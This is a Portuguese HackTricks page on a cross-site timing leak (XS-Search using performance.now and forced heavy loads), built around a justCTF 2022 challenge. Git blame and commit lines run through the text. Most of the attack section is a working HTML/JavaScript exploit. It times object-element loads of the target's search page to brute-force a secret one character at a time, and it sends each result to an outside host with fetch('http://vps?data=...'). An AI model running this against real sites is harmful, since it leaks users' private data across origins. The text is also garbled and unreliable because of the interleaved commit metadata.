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hacktricks/pentesting-web/xs-search/performance.now-+-force-heavy-task.md

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Translated to Portuguese
2023-06-06 18:56:34 +00:00
# performance.now + Forçar tarefa pesada
GitBook: [#3730] No subject
2023-01-02 20:55:19 +00:00
<details>
update twitter
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
GitBook: [#3730] No subject
2023-01-02 20:55:19 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
GitBook: [#3730] No subject
2023-01-02 20:55:19 +00:00
</details>
Translated to Portuguese
2023-06-06 18:56:34 +00:00
Exploit retirado de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
GitBook: [#3730] No subject
2023-01-02 20:55:19 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
Neste desafio, o usuário poderia enviar milhares de caracteres e, se a flag estivesse contida, os caracteres seriam enviados de volta para o bot. Portanto, colocando uma grande quantidade de caracteres, o atacante poderia medir se a flag estava contida na string enviada ou não.
GitBook: [#3730] No subject
2023-01-02 20:55:19 +00:00
{% hint style="warning" %}
Translated to Portuguese
2023-06-06 18:56:34 +00:00
Inicialmente, eu não defini a largura e altura do objeto, mas mais tarde descobri que é importante porque o tamanho padrão é muito pequeno para fazer diferença no tempo de carregamento.
GitBook: [#3730] No subject
2023-01-02 20:55:19 +00:00
{% endhint %}
```html
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')
function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}
function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})
}
send('start')
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'
async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}
found /= 3
notFound /= 3
send('found flag:'+found)
send('not found flag:'+notFound)
let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)
if (notFound > found) {
return
}
// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}
main()
</script>
</body>
</html>
```
<details>
update twitter
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
GitBook: [#3730] No subject
2023-01-02 20:55:19 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
GitBook: [#3730] No subject
2023-01-02 20:55:19 +00:00
</details>
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